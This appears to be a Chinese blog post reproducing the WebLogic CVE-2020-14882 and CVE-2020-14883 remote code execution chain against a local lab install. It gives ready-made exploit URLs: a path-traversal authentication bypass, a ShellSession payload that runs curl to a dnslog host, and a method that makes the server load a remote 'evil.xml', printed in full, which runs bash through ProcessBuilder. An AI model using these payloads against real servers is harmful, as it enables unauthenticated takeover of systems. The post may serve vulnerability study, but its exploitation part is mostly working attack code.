1. 程式人生 > 實用技巧 >weblogic 未授權命令執行漏洞(CVE-2020-14882,CVE-2020-14883)復現

weblogic 未授權命令執行漏洞(CVE-2020-14882,CVE-2020-14883)復現

漏洞描述

2020年10月29日,360CERT監測發現 Weblogic ConSole HTTP 協議程式碼執行漏洞,該漏洞編號為 CVE-2020-14882,CVE-2020-14883 ,漏洞等級:嚴重,漏洞評分:9.8。
遠端攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console,並在 WebLogic Server Console 執行任意程式碼。

影響版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0


Oracle Weblogic Server 14.1.1.0.0

環境搭建

這裡我們測試WebLogic12.2.1.4,java環境是jdk1.8.0_221,自行下載

這裡提供WebLogic12.2.1.4的安裝教程

下載地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

下載正確的檔案

解壓

用管理員許可權執行

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

進入安裝介面

下一步

下一步

完成

開始安裝weblogic的web管理

設定口令,然後建立

啟動域

會自動開啟weblogic的啟動介面

我們就進入了weblogic的登入介面(漏洞就是在這個介面觸發的)

漏洞復現

Weblogic是Oracle公司推出的J2EE應用伺服器,CVE-2020-14882允許未授權的使用者繞過管理控制檯的許可權驗證訪問後臺,CVE-2020-14883允許後臺任意使用者通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠端Weblogic伺服器上以未授權的任意使用者身份執行命令。

CVE-2020-14882:允許未授權的使用者繞過管理控制檯的許可權驗證訪問後臺

遠端攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console。
許可權繞過漏洞(CVE-2020-14882),訪問以下URL,未授權訪問到管理後臺頁面(低許可權的使用者):

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

發現我們現在是低許可權的使用者,無法安裝應用,所以組合下面的CVE-2020-14883 可以繼續利用

CVE-2020-14883:允許後臺任意使用者通過HTTP協議執行任意命令

遠端攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,並在 WebLogic Server Console 執行任意程式碼。

這個漏洞的利用方式有兩種,一是通過com.tangosol.coherence.mvel2.sh.ShellSession,二是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

方法一:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)

成功執行:

方法二:

一種更為通殺的方法,對於所有Weblogic版本均有效。

但是必須可以出網,要可以訪問到惡意的xml

首先需要構造一個XML檔案,並將其儲存外網(漏洞機或者可訪問的一臺機子上)上,就是要有外網ip

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然後通過如下URL,即可讓Weblogic載入這個XML,並執行其中的命令:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)

成功回顯

參考文章:

https://blog.csdn.net/god_zzz/article/details/109445728

https://www.cnblogs.com/2rsh0u/p/13911794.html